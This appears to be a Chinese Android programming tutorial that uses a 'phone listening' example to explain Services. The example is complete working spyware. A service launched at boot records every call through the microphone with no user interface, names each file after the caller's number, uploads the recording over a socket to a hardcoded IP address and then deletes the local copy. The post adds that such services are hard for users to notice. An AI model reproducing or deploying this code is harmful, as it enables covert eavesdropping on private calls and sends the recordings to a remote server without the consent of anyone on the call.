Android之服务Service---电话监听

Android中的服务和windows中的服务是类似的东西，服务一般没有用户操作界面，它运行于系统中不容易被用户发觉，可以使用它开发如监控之类的程序。服务的开发比较简单，如下：第一步：继承Service类 public class SMSService extends Service { } 第二步：在AndroidManifest.xml文件中的<application>节点里对服务进行配置: <service android:name=".SMSService" /> 服务不能自己运行，需要通过调用Context.startService()或Context.bindService()方法启动服务。这两个方法都可以启动Service，但是它们的使用场合有所不同。使用startService()方法启用服务，调用者与服务之间没有关连，即使调用者退出了，服务仍然运行。使用bindService()方法启用服务，调用者与服务绑定在了一起，调用者一旦退出，服务也就终止，大有“不求同时生，必须同时死”的特点。采用 Context.startService()方法启动服务，在服务未被创建时，系统会先调用服务的onCreate()方法，接着调用onStart()方法。如果调用startService()方法前服务已经被创建，多次调用startService()方法并不会导致多次创建服务，但会导致多次调用onStart()方法。采用startService()方法启动的服务，只能调用Context.stopService()方法结束服务，服务结束时会调用onDestroy()方法。代码如下：

package cn.itcast.phone;

import java.io.File;
import java.io.OutputStream;
import java.io.PushbackInputStream;
import java.io.RandomAccessFile;
import java.net.Socket;

import cn.itcast.utils.StreamTool;

import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
import android.util.Log;

public class PhoneListenService extends Service {
private static final String TAG = "PhoneListenService";

@Override
public void onCreate() {
TelephonyManager telManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
telManager.listen(new TelListener(), PhoneStateListener.LISTEN_CALL_STATE);
Log.i(TAG, "service created");
super.onCreate();
}

@Override
public void onDestroy() {//清空缓存目录下的所有文件
File[] files = getCacheDir().listFiles();
if(files!=null){
for(File f: files){
f.delete();
}
}
Log.i(TAG, "service destroy");
super.onDestroy();
}

private class TelListener extends PhoneStateListener{
private MediaRecorder recorder;//录音
private String mobile;
private File audioFile;
private boolean record;
@Override
public void onCallStateChanged(int state, String incomingNumber) {
try {
switch (state){
case TelephonyManager.CALL_STATE_IDLE: /* 无任何状态时 */
if(record){
recorder.stop();//停止刻录
recorder.release();
record = false;
new Thread(new UploadTask()).start();//为了避免Service被上传线程占用，新开一个线程用来处理上传操作！！！！
Log.i(TAG, "start upload file");
}
break;

case TelephonyManager.CALL_STATE_OFFHOOK: /* 接起电话时 */
Log.i(TAG, "OFFHOOK:"+ mobile);
recorder = new MediaRecorder();
recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//从麦克风采集声音
recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//内容输出格式
recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//音频编码方式

audioFile = new File(getCacheDir(), mobile+"_"+ System.currentTimeMillis()+".3gp");
recorder.setOutputFile(audioFile.getAbsolutePath());
recorder.prepare();//预期准备
recorder.start(); //开始刻录
record = true;
break;

case TelephonyManager.CALL_STATE_RINGING: /* 电话进来时 */
Log.i(TAG, "incomingNumber:"+ incomingNumber);
mobile = incomingNumber;
break;

default:
break;
}
} catch (Exception e) {
Log.e(TAG, e.toString());
}
super.onCallStateChanged(state, incomingNumber);
}

private final class UploadTask implements Runnable{
@Override
public void run() {
try {
Socket socket = new Socket("220.113.15.71", 7878);
OutputStream outStream = socket.getOutputStream();
String head = "Content-Length="+ audioFile.length() + ";filename="+ audioFile.getName() + ";sourceid=\r\n";
outStream.write(head.getBytes());

PushbackInputStream inStream = new PushbackInputStream(socket.getInputStream());
String response = StreamTool.readLine(inStream);
String[] items = response.split(";");
String position = items[1].substring(items[1].indexOf("=")+1);

RandomAccessFile fileOutStream = new RandomAccessFile(audioFile, "r");
fileOutStream.seek(Integer.valueOf(position));
byte[] buffer = new byte[1024];
int len = -1;
while( (len = fileOutStream.read(buffer)) != -1){
outStream.write(buffer, 0, len);
}
fileOutStream.close();
outStream.close();
inStream.close();
socket.close();
audioFile.delete();
} catch (Exception e) {
Log.e(TAG, e.toString());
}
}
}
}

@Override
public IBinder onBind(Intent intent) {
// TODO Auto-generated method stub
return null;
}

}

此外，服务不能自己运行，需要通过调用Context.startService()或Context.bindService()方法启动服务。那电话来了怎么开始监听电话的服务呢？那就需要建立一个广播接受者，当开始运行的时候就启动服务，这样子就可以对手机电话进行监听了！代码：

package cn.itcast.phone;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;

public class BootBroadcastReceiver extends BroadcastReceiver {

@Override
public void onReceive(Context context, Intent intent) {
Intent service = new Intent(context, PhoneListenService.class);
context.startService(service);
}

}

配置文件：

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="cn.itcast.phone"
android:versionCode="1"
android:versionName="1.0">
<application android:icon="@drawable/icon" android:label="@string/app_name">
<service android:name=".PhoneListenService" />
<receiver android:name=".BootBroadcastReceiver">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED"/>
</intent-filter>
</receiver>
</application>
<uses-sdk android:minSdkVersion="7" />
<uses-permission android:name="android.permission.RECORD_AUDIO"/>

<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>

</manifest>

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